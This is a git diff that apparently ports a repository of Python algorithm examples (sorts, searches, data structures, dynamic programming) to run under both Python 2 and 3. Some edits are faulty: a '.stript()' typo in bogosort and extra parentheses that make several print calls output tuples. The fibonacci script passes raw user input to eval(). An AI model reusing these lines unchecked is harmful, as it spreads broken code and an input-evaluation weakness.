<del> print("Min Value: ", t.getMin().getLabel())
<add> print(("Max Value: ", t.getMax().getLabel()))
<add> print(("Min Value: ", t.getMin().getLabel()))
<ide>
<ide> t.delete(13)
<ide> t.delete(10)
<ide><path>data_structures/Graph/Graph.py
<add>from __future__ import print_function
<ide> # Author: OMKAR PATHAK
<ide>
<ide> # We can use Python's dictionary for constructing the graph
<ide> def addEdge(self, fromVertex, toVertex):
<ide>
<ide> def printList(self):
<ide> for i in self.List:
<del> print(i,'->',' -> '.join([str(j) for j in self.List[i]]))
<add> print((i,'->',' -> '.join([str(j) for j in self.List[i]])))
<ide>
<ide> if __name__ == '__main__':
<ide> al = AdjacencyList()
<ide><path>data_structures/Graph/even_tree.py
<ide> Note: The tree input will be such that it can always be decomposed into
<ide> components containing an even number of nodes.
<ide> """
<add>from __future__ import print_function
<ide> # pylint: disable=invalid-name
<ide> from collections import defaultdict
<ide>
<ide> def even_tree():
<ide> tree[u].append(v)
<ide> tree[v].append(u)
<ide> even_tree()
<del> print len(cuts) - 1
<add> print(len(cuts) - 1)
<ide><path>data_structures/Heap/heap.py
<ide> #!/usr/bin/python
<ide>
<add>from __future__ import print_function
<add>
<add>try:
<add> raw_input # Python 2
<add>except NameError:
<add> raw_input = input # Python 3
<add>
<ide> class Heap:
<ide> def __init__(self):
<ide> self.h = []
<ide> def insert(self,data):
<ide> curr = curr/2
<ide>
<ide> def display(self):
<del> print (self.h)
<add> print(self.h)
<ide>
<ide> def main():
<del> l = list(map(int,raw_input().split()))
<add> l = list(map(int, raw_input().split()))
<ide> h = Heap()
<ide> h.buildHeap(l)
<ide> h.heapSort()
<ide><path>data_structures/LinkedList/singly_LinkedList.py
<add>from __future__ import print_function
<ide> class Node:#create a Node
<ide> def __int__(self,data):
<ide> self.data=data#given data
<ide><path>data_structures/Queue/DeQueue.py
<add>from __future__ import print_function
<ide> # Python code to demonstrate working of
<ide> # extend(), extendleft(), rotate(), reverse()
<ide>
<ide><path>data_structures/Stacks/balanced_parentheses.py
<del>from Stack import Stack
<add>from __future__ import print_function
<add>from __future__ import absolute_import
<add>from .Stack import Stack
<ide>
<ide> __author__ = 'Omkar Pathak'
<ide>
<ide><path>data_structures/Stacks/infix_to_postfix_conversion.py
<add>from __future__ import print_function
<add>from __future__ import absolute_import
<ide> import string
<ide>
<del>from Stack import Stack
<add>from .Stack import Stack
<ide>
<ide> __author__ = 'Omkar Pathak'
<ide>
<ide><path>data_structures/Stacks/next.py
<add>from __future__ import print_function
<ide> # Function to print element and NGE pair for all elements of list
<ide> def printNGE(arr):
<ide>
<ide><path>data_structures/Stacks/stack.py
<add>from __future__ import print_function
<ide> __author__ = 'Omkar Pathak'
<ide>
<ide>
<ide><path>data_structures/UnionFind/tests_union_find.py
<del>from union_find import UnionFind
<add>from __future__ import absolute_import
<add>from .union_find import UnionFind
<ide> import unittest
<ide>
<ide>
<ide><path>dynamic_programming/coin_change.py
<ide> the given types of coins?
<ide> https://www.hackerrank.com/challenges/coin-change/problem
<ide> """
<add>from __future__ import print_function
<ide> def dp_count(S, m, n):
<ide> table = [0] * (n + 1)
<ide>
<ide> def dp_count(S, m, n):
<ide> return table[n]
<ide>
<ide> if __name__ == '__main__':
<del> print dp_count([1, 2, 3], 3, 4) # answer 4
<del> print dp_count([2, 5, 3, 6], 4, 10) # answer 5
<add> print(dp_count([1, 2, 3], 3, 4)) # answer 4
<add> print(dp_count([2, 5, 3, 6], 4, 10)) # answer 5
<ide><path>dynamic_programming/edit_distance.py
<ide> def solve(self, A, B):
<ide> return self.__solveDP(len(A)-1, len(B)-1)
<ide>
<ide> if __name__ == '__main__':
<del> import sys
<del> if sys.version_info.major < 3:
<del> input_function = raw_input
<del> else:
<del> input_function = input
<add> try:
<add> raw_input # Python 2
<add> except NameError:
<add> raw_input = input # Python 3
<ide>
<ide> solver = EditDistance()
<ide>
<ide> print("****************** Testing Edit Distance DP Algorithm ******************")
<ide> print()
<ide>
<ide> print("Enter the first string: ", end="")
<del> S1 = input_function()
<add> S1 = raw_input().strip()
<ide>
<ide> print("Enter the second string: ", end="")
<del> S2 = input_function()
<add> S2 = raw_input().strip()
<ide>
<ide> print()
<ide> print("The minimum Edit Distance is: %d" % (solver.solve(S1, S2)))
<ide><path>dynamic_programming/fastfibonacci.py
<ide> This program calculates the nth Fibonacci number in O(log(n)).
<ide> It's possible to calculate F(1000000) in less than a second.
<ide> """
<add>from __future__ import print_function
<ide> import sys
<ide>
<ide>
<ide><path>dynamic_programming/fibonacci.py
<ide> def get(self, sequence_no=None):
<ide>
<ide>
<ide> if __name__ == '__main__':
<del> import sys
<del>
<ide> print("\n********* Fibonacci Series Using Dynamic Programming ************\n")
<del> # For python 2.x and 3.x compatibility: 3.x has no raw_input builtin
<del> # otherwise 2.x's input builtin function is too "smart"
<del> if sys.version_info.major < 3:
<del> input_function = raw_input
<del> else:
<del> input_function = input
<add> try:
<add> raw_input # Python 2
<add> except NameError:
<add> raw_input = input # Python 3
<ide>
<ide> print("\n Enter the upper limit for the fibonacci sequence: ", end="")
<ide> try:
<del> N = eval(input())
<add> N = eval(raw_input().strip())
<ide> fib = Fibonacci(N)
<ide> print(
<ide> "\n********* Enter different values to get the corresponding fibonacci sequence, enter any negative number to exit. ************\n")
<ide> while True:
<ide> print("Enter value: ", end=" ")
<ide> try:
<del> i = eval(input())
<add> i = eval(raw_input().strip())
<ide> if i < 0:
<ide> print("\n********* Good Bye!! ************\n")
<ide> break
<ide><path>dynamic_programming/longest_common_subsequence.py
<ide> A subsequence is a sequence that appears in the same relative order, but not necessarily continious.
<ide> Example:"abc", "abg" are subsequences of "abcdefgh".
<ide> """
<add>from __future__ import print_function
<add>
<add>try:
<add> xrange # Python 2
<add>except NameError:
<add> xrange = range # Python 3
<add>
<ide> def lcs_dp(x, y):
<ide> # find the length of strings
<ide> m = len(x)
<ide> def lcs_dp(x, y):
<ide> if __name__=='__main__':
<ide> x = 'AGGTAB'
<ide> y = 'GXTXAYB'
<del> print lcs_dp(x, y)
<add> print(lcs_dp(x, y))
<ide><path>dynamic_programming/longest_increasing_subsequence.py
<ide> Given an ARRAY, to find the longest and increasing sub ARRAY in that given ARRAY and return it.
<ide> Example: [10, 22, 9, 33, 21, 50, 41, 60, 80] as input will return [10, 22, 33, 41, 60, 80] as output
<ide> '''
<add>from __future__ import print_function
<ide>
<ide> def longestSub(ARRAY): #This function is recursive
<ide>
<ide><path>dynamic_programming/longest_increasing_subsequence_O(nlogn).py
<add>from __future__ import print_function
<ide> #############################
<ide> # Author: Aravind Kashyap
<ide> # File: lis.py
<ide> def LongestIncreasingSubsequenceLength(v):
<ide>
<ide>
<ide> v = [2, 5, 3, 7, 11, 8, 10, 13, 6]
<del>print LongestIncreasingSubsequenceLength(v)
<add>print(LongestIncreasingSubsequenceLength(v))
<ide><path>dynamic_programming/longest_sub_array.py
<ide> The problem is :
<ide> Given an array, to find the longest and continuous sub array and get the max sum of the sub array in the given array.
<ide> '''
<add>from __future__ import print_function
<ide>
<ide>
<ide> class SubArray:
<ide>
<ide> def __init__(self, arr):
<ide> # we need a list not a string, so do something to change the type
<ide> self.array = arr.split(',')
<del> print("the input array is:", self.array)
<add> print(("the input array is:", self.array))
<ide>
<ide> def solve_sub_array(self):
<ide> rear = [int(self.array[0])]*len(self.array)
<ide> def solve_sub_array(self):
<ide> whole_array = input("please input some numbers:")
<ide> array = SubArray(whole_array)
<ide> re = array.solve_sub_array()
<del> print("the results is:", re)
<add> print(("the results is:", re))
<ide>
<ide><path>dynamic_programming/max_sub_array.py
<del>"""
<del>author : Mayank Kumar Jha (mk9440)
<del>"""
<del>
<del>import time
<del>import matplotlib.pyplot as plt
<del>from random import randint
<del>def find_max_sub_array(A,low,high):
<del> if low==high:
<del> return low,high,A[low]
<del> else :
<del> mid=(low+high)//2
<del> left_low,left_high,left_sum=find_max_sub_array(A,low,mid)
<del> right_low,right_high,right_sum=find_max_sub_array(A,mid+1,high)
<del> cross_left,cross_right,cross_sum=find_max_cross_sum(A,low,mid,high)
<del> if left_sum>=right_sum and left_sum>=cross_sum:
<del> return left_low,left_high,left_sum
<del> elif right_sum>=left_sum and right_sum>=cross_sum :
<del> return right_low,right_high,right_sum
<del> else:
<del> return cross_left,cross_right,cross_sum
<del>
<del>def find_max_cross_sum(A,low,mid,high):
<del> left_sum,max_left=-999999999,-1
<del> right_sum,max_right=-999999999,-1
<del> summ=0
<del> for i in range(mid,low-1,-1):
<del> summ+=A[i]
<del> if summ > left_sum:
<del> left_sum=summ
<del> max_left=i
<del> summ=0
<del> for i in range(mid+1,high+1):
<del> summ+=A[i]
<del> if summ > right_sum:
<del> right_sum=summ
<del> max_right=i
<del> return max_left,max_right,(left_sum+right_sum)
<del>
<del>
<del>if __name__=='__main__':
<del> inputs=[10,100,1000,10000,50000,100000,200000,300000,400000,500000]
<del> tim=[]
<del> for i in inputs:
<del> li=[randint(1,i) for j in range(i)]
<del> strt=time.time()
<del> (find_max_sub_array(li,0,len(li)-1))
<del> end=time.time()
<del> tim.append(end-strt)
<del> print("No of Inputs Time Taken")
<del> for i in range(len(inputs)):
<del> print(inputs[i],'\t\t',tim[i])
<del> plt.plot(inputs,tim)
<del> plt.xlabel("Number of Inputs");plt.ylabel("Time taken in seconds ")
<del> plt.show()
<del>
<del>
<del>
<del>
<add>"""
<add>author : Mayank Kumar Jha (mk9440)
<add>"""
<add>from __future__ import print_function
<add>
<add>import time
<add>import matplotlib.pyplot as plt
<add>from random import randint
<add>def find_max_sub_array(A,low,high):
<add> if low==high:
<add> return low,high,A[low]
<add> else :
<add> mid=(low+high)//2
<add> left_low,left_high,left_sum=find_max_sub_array(A,low,mid)
<add> right_low,right_high,right_sum=find_max_sub_array(A,mid+1,high)
<add> cross_left,cross_right,cross_sum=find_max_cross_sum(A,low,mid,high)
<add> if left_sum>=right_sum and left_sum>=cross_sum:
<add> return left_low,left_high,left_sum
<add> elif right_sum>=left_sum and right_sum>=cross_sum :
<add> return right_low,right_high,right_sum
<add> else:
<add> return cross_left,cross_right,cross_sum
<add>
<add>def find_max_cross_sum(A,low,mid,high):
<add> left_sum,max_left=-999999999,-1
<add> right_sum,max_right=-999999999,-1
<add> summ=0
<add> for i in range(mid,low-1,-1):
<add> summ+=A[i]
<add> if summ > left_sum:
<add> left_sum=summ
<add> max_left=i
<add> summ=0
<add> for i in range(mid+1,high+1):
<add> summ+=A[i]
<add> if summ > right_sum:
<add> right_sum=summ
<add> max_right=i
<add> return max_left,max_right,(left_sum+right_sum)
<add>
<add>
<add>if __name__=='__main__':
<add> inputs=[10,100,1000,10000,50000,100000,200000,300000,400000,500000]
<add> tim=[]
<add> for i in inputs:
<add> li=[randint(1,i) for j in range(i)]
<add> strt=time.time()
<add> (find_max_sub_array(li,0,len(li)-1))
<add> end=time.time()
<add> tim.append(end-strt)
<add> print("No of Inputs Time Taken")
<add> for i in range(len(inputs)):
<add> print((inputs[i],'\t\t',tim[i]))
<add> plt.plot(inputs,tim)
<add> plt.xlabel("Number of Inputs");plt.ylabel("Time taken in seconds ")
<add> plt.show()
<add>
<add>
<add>
<add>
<ide><path>hashes/chaos_machine.py
<ide> """example of simple chaos machine"""
<add>from __future__ import print_function
<ide>
<ide> # Chaos Machine (K, t, m)
<ide> K = [0.33, 0.44, 0.55, 0.44, 0.33]; t = 3; m = 5
<ide><path>hashes/md5.py
<add>from __future__ import print_function
<ide> import math
<ide>
<ide> def rearrange(bitString32):
<ide><path>machine_learning/decision_tree.py
<ide> Input data set: The input data set must be 1-dimensional with continuous labels.
<ide> Output: The decision tree maps a real number input to a real number output.
<ide> """
<add>from __future__ import print_function
<ide>
<ide> import numpy as np
<ide>
<ide><path>machine_learning/gradient_descent.py
<ide> """
<ide> Implementation of gradient descent algorithm for minimizing cost of a linear hypothesis function.
<ide> """
<add>from __future__ import print_function
<ide> import numpy
<ide>
<ide> # List of input, output pairs
<ide> def run_gradient_descent():
<ide> atol=absolute_error_limit, rtol=relative_error_limit):
<ide> break
<ide> parameter_vector = temp_parameter_vector
<del> print("Number of iterations:", j)
<add> print(("Number of iterations:", j))
<ide>
<ide>
<ide> def test_gradient_descent():
<ide> for i in range(len(test_data)):
<del> print("Actual output value:", output(i, 'test'))
<del> print("Hypothesis output:", calculate_hypothesis_value(i, 'test'))
<add> print(("Actual output value:", output(i, 'test')))
<add> print(("Hypothesis output:", calculate_hypothesis_value(i, 'test')))
<ide>
<ide>
<ide> if __name__ == '__main__':
<ide><path>machine_learning/linear_regression.py
<ide> fits our dataset. In this particular code, i had used a CSGO dataset (ADR vs
<ide> Rating). We try to best fit a line through dataset and estimate the parameters.
<ide> """
<add>from __future__ import print_function
<ide>
<ide> import requests
<ide> import numpy as np
<ide><path>machine_learning/perceptron.py
<ide> p2 = 1
<ide>
<ide> '''
<add>from __future__ import print_function
<ide>
<ide> import random
<ide>
<ide> def trannig(self):
<ide> epoch_count = epoch_count + 1
<ide> # if you want controle the epoch or just by erro
<ide> if erro == False:
<del> print('\nEpoch:\n',epoch_count)
<add> print(('\nEpoch:\n',epoch_count))
<ide> print('------------------------\n')
<ide> #if epoch_count > self.epoch_number or not erro:
<ide> break
<ide> def sort(self, sample):
<ide> y = self.sign(u)
<ide>
<ide> if y == -1:
<del> print('Sample: ', sample)
<add> print(('Sample: ', sample))
<ide> print('classification: P1')
<ide> else:
<del> print('Sample: ', sample)
<add> print(('Sample: ', sample))
<ide> print('classification: P2')
<ide>
<ide> def sign(self, u):
<ide><path>machine_learning/scoring_functions.py
<del>import numpy
<add>import numpy as np
<ide>
<ide> """ Here I implemented the scoring functions.
<ide> MAE, MSE, RMSE, RMSLE are included.
<ide><path>other/LinearCongruentialGenerator.py
<add>from __future__ import print_function
<ide> __author__ = "Tobias Carryer"
<ide>
<ide> from time import time
<ide> def next_number( self ):
<ide> # Show the LCG in action.
<ide> lcg = LinearCongruentialGenerator(1664525, 1013904223, 2<<31)
<ide> while True :
<del> print lcg.next_number()
<ide>\ No newline at end of file
<add> print(lcg.next_number())
<ide>\ No newline at end of file
<ide><path>other/anagrams.py
<add>from __future__ import print_function
<ide> import collections, pprint, time, os
<ide>
<ide> start_time = time.time()
<ide> def anagram(myword):
<ide> file.write(pprint.pformat(all_anagrams))
<ide>
<ide> total_time = round(time.time() - start_time, 2)
<del>print('Done [', total_time, 'seconds ]')
<add>print(('Done [', total_time, 'seconds ]'))
<ide><path>other/euclidean_gcd.py
<add>from __future__ import print_function
<ide> # https://en.wikipedia.org/wiki/Euclidean_algorithm
<ide>
<ide> def euclidean_gcd(a, b):
<ide><path>other/nested_brackets.py
<ide> returns true if S is nested and false otherwise.
<ide>
<ide> '''
<add>from __future__ import print_function
<ide>
<ide>
<ide> def is_balanced(S):
<ide> def main():
<ide> S = input("Enter sequence of brackets: ")
<ide>
<ide> if is_balanced(S):
<del> print(S, "is balanced")
<add> print((S, "is balanced"))
<ide>
<ide> else:
<del> print(S, "is not balanced")
<add> print((S, "is not balanced"))
<ide>
<ide>
<ide> if __name__ == "__main__":
<ide><path>other/password_generator.py
<add>from __future__ import print_function
<ide> import string
<ide> import random
<ide>
<ide><path>other/tower_of_hanoi.py
<add>from __future__ import print_function
<ide> def moveTower(height, fromPole, toPole, withPole):
<ide> '''
<ide> >>> moveTower(3, 'A', 'B', 'C')
<ide> def moveTower(height, fromPole, toPole, withPole):
<ide> moveTower(height-1, withPole, toPole, fromPole)
<ide>
<ide> def moveDisk(fp,tp):
<del> print('moving disk from', fp, 'to', tp)
<add> print(('moving disk from', fp, 'to', tp))
<ide>
<ide> def main():
<ide> height = int(input('Height of hanoi: '))
<ide><path>other/two-sum.py
<ide> Because nums[0] + nums[1] = 2 + 7 = 9,
<ide> return [0, 1].
<ide> """
<add>from __future__ import print_function
<ide>
<ide> def twoSum(nums, target):
<ide> """
<ide><path>other/word_patterns.py
<add>from __future__ import print_function
<ide> import pprint, time
<ide>
<ide> def getWordPattern(word):
<ide> def main():
<ide> fo.write(pprint.pformat(allPatterns))
<ide>
<ide> totalTime = round(time.time() - startTime, 2)
<del> print('Done! [', totalTime, 'seconds ]')
<add> print(('Done! [', totalTime, 'seconds ]'))
<ide>
<ide> if __name__ == '__main__':
<ide> main()
<ide><path>searches/binary_search.py
<ide> from __future__ import print_function
<ide> import bisect
<ide>
<add>try:
<add> raw_input # Python 2
<add>except NameError:
<add> raw_input = input # Python 3
<add>
<ide>
<ide> def binary_search(sorted_collection, item):
<ide> """Pure implementation of binary search algorithm in Python
<ide> def __assert_sorted(collection):
<ide>
<ide> if __name__ == '__main__':
<ide> import sys
<del> # For python 2.x and 3.x compatibility: 3.x has no raw_input builtin
<del> # otherwise 2.x's input builtin function is too "smart"
<del> if sys.version_info.major < 3:
<del> input_function = raw_input
<del> else:
<del> input_function = input
<del>
<del> user_input = input_function('Enter numbers separated by comma:\n')
<add> user_input = raw_input('Enter numbers separated by comma:\n').strip()
<ide> collection = [int(item) for item in user_input.split(',')]
<ide> try:
<ide> __assert_sorted(collection)
<ide> except ValueError:
<ide> sys.exit('Sequence must be sorted to apply binary search')
<ide>
<del> target_input = input_function(
<del> 'Enter a single number to be found in the list:\n'
<del> )
<add> target_input = raw_input('Enter a single number to be found in the list:\n')
<ide> target = int(target_input)
<ide> result = binary_search(collection, target)
<ide> if result is not None:
<ide><path>searches/interpolation_search.py
<ide> from __future__ import print_function
<ide> import bisect
<ide>
<add>try:
<add> raw_input # Python 2
<add>except NameError:
<add> raw_input = input # Python 3
<add>
<ide>
<ide> def interpolation_search(sorted_collection, item):
<ide> """Pure implementation of interpolation search algorithm in Python
<ide> def __assert_sorted(collection):
<ide>
<ide> if __name__ == '__main__':
<ide> import sys
<del> # For python 2.x and 3.x compatibility: 3.x has no raw_input builtin
<del> # otherwise 2.x's input builtin function is too "smart"
<del> if sys.version_info.major < 3:
<del> input_function = raw_input
<del> else:
<del> input_function = input
<ide>
<del> user_input = input_function('Enter numbers separated by comma:\n')
<add> user_input = raw_input('Enter numbers separated by comma:\n').strip()
<ide> collection = [int(item) for item in user_input.split(',')]
<ide> try:
<ide> __assert_sorted(collection)
<ide> except ValueError:
<ide> sys.exit('Sequence must be sorted to apply interpolation search')
<ide>
<del> target_input = input_function(
<del> 'Enter a single number to be found in the list:\n'
<del> )
<add> target_input = raw_input('Enter a single number to be found in the list:\n')
<ide> target = int(target_input)
<ide> result = interpolation_search(collection, target)
<ide> if result is not None:
<ide> print('{} found at positions: {}'.format(target, result))
<ide> else:
<del> print('Not found')
<ide>\ No newline at end of file
<add> print('Not found')
<ide><path>searches/jump_search.py
<add>from __future__ import print_function
<ide> import math
<ide> def jump_search(arr, x):
<ide> n = len(arr)
<ide><path>searches/linear_search.py
<ide> """
<ide> from __future__ import print_function
<ide>
<add>try:
<add> raw_input # Python 2
<add>except NameError:
<add> raw_input = input # Python 3
<ide>
<ide> def linear_search(sequence, target):
<ide> """Pure implementation of linear search algorithm in Python
<ide> def linear_search(sequence, target):
<ide>
<ide>
<ide> if __name__ == '__main__':
<del> import sys
<del>
<del> # For python 2.x and 3.x compatibility: 3.x has no raw_input builtin
<del> # otherwise 2.x's input builtin function is too "smart"
<del> if sys.version_info.major < 3:
<del> input_function = raw_input
<del> else:
<del> input_function = input
<del>
<del> user_input = input_function('Enter numbers separated by coma:\n')
<add> user_input = raw_input('Enter numbers separated by coma:\n').strip()
<ide> sequence = [int(item) for item in user_input.split(',')]
<ide>
<del> target_input = input_function(
<del> 'Enter a single number to be found in the list:\n'
<del> )
<add> target_input = raw_input('Enter a single number to be found in the list:\n')
<ide> target = int(target_input)
<ide> result = linear_search(sequence, target)
<ide> if result is not None:
<ide><path>searches/ternary_search.py
<ide> Time Complexity : O(log3 N)
<ide> Space Complexity : O(1)
<ide> '''
<add>from __future__ import print_function
<ide>
<ide> import sys
<ide>
<add>try:
<add> raw_input # Python 2
<add>except NameError:
<add> raw_input = input # Python 3
<add>
<ide> # This is the precision for this function which can be altered.
<ide> # It is recommended for users to keep this number greater than or equal to 10.
<ide> precision = 10
<ide> def __assert_sorted(collection):
<ide>
<ide>
<ide> if __name__ == '__main__':
<del>
<del> # For python 2.x and 3.x compatibility: 3.x has not raw_input builtin
<del> # otherwise 2.x's input builtin function is too "smart"
<del>
<del> if sys.version_info.major < 3:
<del> input_function = raw_input
<del> else:
<del> input_function = input
<del>
<del> user_input = input_function('Enter numbers separated by coma:\n')
<add> user_input = raw_input('Enter numbers separated by coma:\n').strip()
<ide> collection = [int(item) for item in user_input.split(',')]
<ide>
<ide> try:
<ide> __assert_sorted(collection)
<ide> except ValueError:
<ide> sys.exit('Sequence must be sorted to apply the ternary search')
<ide>
<del> target_input = input_function(
<del> 'Enter a single number to be found in the list:\n'
<del> )
<add> target_input = raw_input('Enter a single number to be found in the list:\n')
<ide> target = int(target_input)
<ide> result1 = ite_ternary_search(collection, target)
<ide> result2 = rec_ternary_search(0, len(collection)-1, collection, target)
<ide><path>sorts/bogosort.py
<ide> def isSorted(collection):
<ide> return collection
<ide>
<ide> if __name__ == '__main__':
<del> import sys
<add> try:
<add> raw_input # Python 2
<add> except NameError:
<add> raw_input = input # Python 3
<ide>
<del> # For python 2.x and 3.x compatibility: 3.x has no raw_input builtin
<del> # otherwise 2.x's input builtin function is too "smart"
<del> if sys.version_info.major < 3:
<del> input_function = raw_input
<del> else:
<del> input_function = input
<del>
<del> user_input = input_function('Enter numbers separated by a comma:\n')
<add> user_input = raw_input('Enter numbers separated by a comma:\n').stript()
<ide> unsorted = [int(item) for item in user_input.split(',')]
<ide> print(bogosort(unsorted))
<ide><path>sorts/bubble_sort.py
<ide> def bubble_sort(collection):
<ide>
<ide>
<ide> if __name__ == '__main__':
<del> import sys
<del> # For python 2.x and 3.x compatibility: 3.x has no raw_input builtin
<del> # otherwise 2.x's input builtin function is too "smart"
<del> if sys.version_info.major < 3:
<del> input_function = raw_input
<del> else:
<del> input_function = input
<del>
<del> user_input = input_function('Enter numbers separated by a comma:\n')
<add> try:
<add> raw_input # Python 2
<add> except NameError:
<add> raw_input = input # Python 3
<add>
<add> user_input = raw_input('Enter numbers separated by a comma:\n').strip()
<ide> unsorted = [int(item) for item in user_input.split(',')]
<ide> print(bubble_sort(unsorted))
<ide><path>sorts/bucket_sort.py
<ide> # Time Complexity of Solution:
<ide> # Best Case O(n); Average Case O(n); Worst Case O(n)
<ide>
<add>from __future__ import print_function
<ide> from P26_InsertionSort import insertionSort
<ide> import math
<ide>
<ide><path>sorts/cocktail_shaker_sort.py
<ide> def cocktail_shaker_sort(unsorted):
<ide> return unsorted
<ide>
<ide> if __name__ == '__main__':
<del> import sys
<del>
<del> # For python 2.x and 3.x compatibility: 3.x has no raw_input builtin
<del> # otherwise 2.x's input builtin function is too "smart"
<del> if sys.version_info.major < 3:
<del> input_function = raw_input
<del> else:
<del> input_function = input
<add> try:
<add> raw_input # Python 2
<add> except NameError:
<add> raw_input = input # Python 3
<ide>
<del> user_input = input_function('Enter numbers separated by a comma:\n')
<add> user_input = raw_input('Enter numbers separated by a comma:\n').strip()
<ide> unsorted = [int(item) for item in user_input.split(',')]
<ide> cocktail_shaker_sort(unsorted)
<del> print(unsorted)
<ide>\ No newline at end of file
<add> print(unsorted)
<ide><path>sorts/counting_sort.py
<ide> def counting_sort(collection):
<ide>
<ide>
<ide> if __name__ == '__main__':
<del> import sys
<del> # For python 2.x and 3.x compatibility: 3.x has not raw_input builtin
<del> # otherwise 2.x's input builtin function is too "smart"
<del> if sys.version_info.major < 3:
<del> input_function = raw_input
<del> else:
<del> input_function = input
<add> try:
<add> raw_input # Python 2
<add> except NameError:
<add> raw_input = input # Python 3
<ide>
<del> user_input = input_function('Enter numbers separated by a comma:\n')
<add> user_input = raw_input('Enter numbers separated by a comma:\n').strip()
<ide> unsorted = [int(item) for item in user_input.split(',')]
<ide> print(counting_sort(unsorted))
<ide><path>sorts/countingsort.py
<add>from __future__ import print_function
<ide> # Python program for counting sort
<ide>
<ide> # This is the main function that sort the given string arr[] in
<ide><path>sorts/external-sort.py
<ide> def main():
<ide>
<ide>
<ide> if __name__ == '__main__':
<del>main()
<ide>\ No newline at end of file
<add> main()
<ide><path>sorts/gnome_sort.py
<ide> def gnome_sort(unsorted):
<ide> i = 1
<ide>
<ide> if __name__ == '__main__':
<del> import sys
<del>
<del> # For python 2.x and 3.x compatibility: 3.x has no raw_input builtin
<del> # otherwise 2.x's input builtin function is too "smart"
<del> if sys.version_info.major < 3:
<del> input_function = raw_input
<del> else:
<del> input_function = input
<add> try:
<add> raw_input # Python 2
<add> except NameError:
<add> raw_input = input # Python 3
<ide>
<del> user_input = input_function('Enter numbers separated by a comma:\n')
<add> user_input = raw_input('Enter numbers separated by a comma:\n').strip()
<ide> unsorted = [int(item) for item in user_input.split(',')]
<ide> gnome_sort(unsorted)
<del> print(unsorted)
<ide>\ No newline at end of file
<add> print(unsorted)
<ide><path>sorts/heap_sort.py
<ide> def heap_sort(unsorted):
<ide> return unsorted
<ide>
<ide> if __name__ == '__main__':
<del> import sys
<del> if sys.version_info.major < 3:
<del> input_function = raw_input
<del> else:
<del> input_function = input
<add> try:
<add> raw_input # Python 2
<add> except NameError:
<add> raw_input = input # Python 3
<ide>
<del> user_input = input_function('Enter numbers separated by a comma:\n')
<add> user_input = raw_input('Enter numbers separated by a comma:\n').strip()
<ide> unsorted = [int(item) for item in user_input.split(',')]
<ide> print(heap_sort(unsorted))
<ide><path>sorts/insertion_sort.py
<ide> def insertion_sort(collection):
<ide>
<ide>
<ide> if __name__ == '__main__':
<del> import sys
<add> try:
<add> raw_input # Python 2
<add> except NameError:
<add> raw_input = input # Python 3
<ide>
<del> # For python 2.x and 3.x compatibility: 3.x has no raw_input builtin
<del> # otherwise 2.x's input builtin function is too "smart"
<del> if sys.version_info.major < 3:
<del> input_function = raw_input
<del> else:
<del> input_function = input
<del>
<del> user_input = input_function('Enter numbers separated by a comma:\n')
<add> user_input = raw_input('Enter numbers separated by a comma:\n').strip()
<ide> unsorted = [int(item) for item in user_input.split(',')]
<ide> print(insertion_sort(unsorted))
<ide><path>sorts/merge_sort.py
<ide> def merge_sort(collection):
<ide>
<ide>
<ide> if __name__ == '__main__':
<del> import sys
<add> try:
<add> raw_input # Python 2
<add> except NameError:
<add> raw_input = input # Python 3
<ide>
<del> # For python 2.x and 3.x compatibility: 3.x has no raw_input builtin
<del> # otherwise 2.x's input builtin function is too "smart"
<del> if sys.version_info.major < 3:
<del> input_function = raw_input
<del> else:
<del> input_function = input
<del>
<del> user_input = input_function('Enter numbers separated by a comma:\n')
<add> user_input = raw_input('Enter numbers separated by a comma:\n').strip()
<ide> unsorted = [int(item) for item in user_input.split(',')]
<ide> print(merge_sort(unsorted))
<ide><path>sorts/quick_sort.py
<ide> def quick_sort(ARRAY):
<ide>
<ide>
<ide> if __name__ == '__main__':
<del> import sys
<add> try:
<add> raw_input # Python 2
<add> except NameError:
<add> raw_input = input # Python 3
<ide>
<del> # For python 2.x and 3.x compatibility: 3.x has no raw_input builtin
<del> # otherwise 2.x's input builtin function is too "smart"
<del> if sys.version_info.major < 3:
<del> input_function = raw_input
<del> else:
<del> input_function = input
<del>
<del> user_input = input_function('Enter numbers separated by a comma:\n')
<add> user_input = raw_input('Enter numbers separated by a comma:\n').strip()
<ide> unsorted = [ int(item) for item in user_input.split(',') ]
<ide> print( quick_sort(unsorted) )
<ide><path>sorts/random_normaldistribution_quicksort.py
<add>from __future__ import print_function
<ide> from random import randint
<ide> from tempfile import TemporaryFile
<ide> import numpy as np
<ide><path>sorts/selection_sort.py
<ide> def selection_sort(collection):
<ide>
<ide>
<ide> if __name__ == '__main__':
<del> import sys
<del> # For python 2.x and 3.x compatibility: 3.x has no raw_input builtin
<del> # otherwise 2.x's input builtin function is too "smart"
<del> if sys.version_info.major < 3:
<del> input_function = raw_input
<del> else:
<del> input_function = input
<del>
<del> user_input = input_function('Enter numbers separated by a comma:\n')
<add> try:
<add> raw_input # Python 2
<add> except NameError:
<add> raw_input = input # Python 3
<add>
<add> user_input = raw_input('Enter numbers separated by a comma:\n').strip()
<ide> unsorted = [int(item) for item in user_input.split(',')]
<ide> print(selection_sort(unsorted))
<ide><path>sorts/shell_sort.py
<ide> def shell_sort(collection):
<ide> return collection
<ide>
<ide> if __name__ == '__main__':
<del> import sys
<del> # For python 2.x and 3.x compatibility: 3.x has no raw_input builtin
<del> # otherwise 2.x's input builtin function is too "smart"
<del> if sys.version_info.major < 3:
<del> input_function = raw_input
<del> else:
<del> input_function = input
<del>
<del> user_input = input_function('Enter numbers separated by a comma:\n')
<add> try:
<add> raw_input # Python 2
<add> except NameError:
<add> raw_input = input # Python 3
<add>
<add> user_input = raw_input('Enter numbers separated by a comma:\n').strip()
<ide> unsorted = [int(item) for item in user_input.split(',')]
<ide> print(shell_sort(unsorted))
<ide><path>sorts/timsort.py
<add>from __future__ import print_function
<ide> def binary_search(lst, item, start, end):
<ide> if start == end:
<ide> if lst[start] > item:
<ide><path>sorts/topological_sort.py
<add>from __future__ import print_function
<ide> # a
<ide> # / \
<ide> # b c
<ide><path>traversals/binary_tree_traversals.py
<ide> from __future__ import print_function
<ide> import queue
<ide>
<add>try:
<add> raw_input # Python 2
<add>except NameError:
<add> raw_input = input # Python 3
<add>
<ide>
<ide> class TreeNode:
<ide> def __init__(self, data):
<ide> def __init__(self, data):
<ide> def build_tree():
<ide> print("\n********Press N to stop entering at any point of time********\n")
<ide> print("Enter the value of the root node: ", end="")
<del> check=input()
<del> if check=='N' or check=='n':
<add> check = raw_input().strip().lower()
<add> if check == 'n':
<ide> return None
<del> data=int(check)
<add> data = int(check)
<ide> q = queue.Queue()
<ide> tree_node = TreeNode(data)
<ide> q.put(tree_node)
